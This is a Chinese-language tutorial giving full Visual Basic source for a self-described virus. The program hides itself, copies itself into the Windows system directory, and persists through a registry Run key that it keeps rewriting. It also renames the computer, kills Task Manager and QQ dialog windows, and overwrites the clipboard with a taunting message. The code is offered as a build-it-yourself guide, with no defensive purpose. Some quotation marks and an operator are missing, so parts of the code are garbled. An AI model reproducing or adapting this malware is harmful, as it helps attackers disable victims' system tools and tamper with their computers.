这病毒的功能如下
1 运行时隐藏起来
2 自我复制到系统目录下
3 WIN启动时自我运行
5 不准重复打开这个程序
4 程序运行时不能打开任务管理器，QQ等！
6 计算机名称改变
7 每次粘贴时，出现的是“我是甯王我怕谁,我爱你！”

首先介绍一下要用到的API吧（只说功能）

GetForegroundWindow 获得前台窗口的句柄
GetClassName 为指定的窗口取得类名
PostMessage 将一条消息投递到指定窗口的消息队列
GetWindowText 取得一个窗体的标题文字
SetComputerName 设置新的计算机名
GetSystemDirectory 取得Windows系统目录
GetWindow 获得一个窗口的句柄
ShowWindow 控制窗口的可见性
RegOpenKey 打开一个现有的注册表项
RegQueryValueEx 获取一个项的设置值
RegSetValueEx 设置指定项的值
RegCloseKey 关闭系统注册表中的一个项

然后开始编写！

1添加一个 Module1模块

Option Explicit
’声明API
Public Declare Function RegSetValueEx Lib advapi32.dll Alias RegSetValueExA (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib advapi32.dll (ByVal hKey As Long) As Long
Public Declare Function RegOpenKey Lib advapi32.dll Alias RegOpenKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib advapi32.dll Alias RegQueryValueExA (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function GetCursorPos Lib user32 (lpPoint As POINTAPI) As Long
Public Declare Function GetForegroundWindow Lib user32 () As Long
Public Declare Function GetClassName Lib user32 Alias GetClassNameA (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function PostMessage Lib user32 Alias PostMessageA (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib user32 Alias GetWindowTextA (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SetComputerName Lib kernel32 Alias SetComputerNameA (ByVal lpComputerName As String) As Long
Public Declare Function GetSystemDirectory Lib kernel32 Alias GetSystemDirectoryA (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindow Lib user32 (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function ShowWindow Lib user32 (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
’声明常量
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const GW_OWNER = 4
Public Const SW_HIDE = 0
’在写一个修改注册表的子过程
Public Sub regedit(strPath As String, strKey As String, strValue As String)
Dim l As Long
Dim s As String
Dim s1 As String
Dim n As Long
Dim keyhand As Long
s = String(255, Chr(0))
s1 = String(255, Chr(0))
n = 255
l = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)

If l = 0 Then 是否打开
l = RegQueryValueEx(keyhand, strKey, 0, 1, ByVal s, 255)
If l 0 Then 是否也有
l = RegSetValueEx(keyhand, strKey, 0, 1, ByVal strValue, LenB(strValue))
’修改注册表
End If

End If

l = RegCloseKey(keyhand)
’关闭

End Sub

2 回到FORM1双击窗休

Option Explicit
Dim systempath As String
选择LOAD事件
Private Sub Form_Load()

Dim K As Long
'不准重复打开这个程序
Dim title As String
If App.PrevInstance Then
title = App.title
App.title =
Me.Caption =
AppActivate title
End
End If
'————–
'得到系统的系统目录
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) – 1)
'自我复制到系统目录
If Not Dir(systempath & & liuning.exe) = liuning.exe Then
FileCopy App.Path & & App.EXEName & .exe, systempath & & liuning.exe

End If
'自动运行
regedit SOFTWAREMicrosoftWindowsCurrentVersionRun, 甯王小病毒, systempath & & liuning & .exe
'计算机改名
SetComputerName QQ122273014
'隐藏
K = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow K, SW_HIDE
Timer1.Enabled = True
Me.Hide
End Sub
再添加一个TIME1控件
Private Sub Timer1_Timer()
'重点
Dim K As Long
Dim s As String
Dim s1 As String
Static n As Long
s = Space(19)
s1 = Space(19)
'得到句柄
K = GetForegroundWindow

'得到类名
GetClassName K, s, 20
'查看当前程序的标题
GetWindowText K, s1, 20

'打开的是QQ或是其它类名是#32770时关闭
If Left(s, 6) = #32770 Then
' 打开的是WIN管理器
If Left(s1, 7) = Windows Then
PostMessage K, &H10, 0&, 0& ’关闭程序

Exit Sub
End If
n = n + 1
If n = 40 Then
PostMessage K, &H10, 0&, 0& ’关闭程序
n = 0
End If
End If
'认用户粘贴时就会出现
Clipboard.Clear
Clipboard.SetText 我是甯王我怕谁,我爱你！
'不准删除注册表里的信息
regedit SOFTWAREMicrosoftWindowsCurrentVersionRun, 甯王小病毒, systempath & & liuning & .exe

End Sub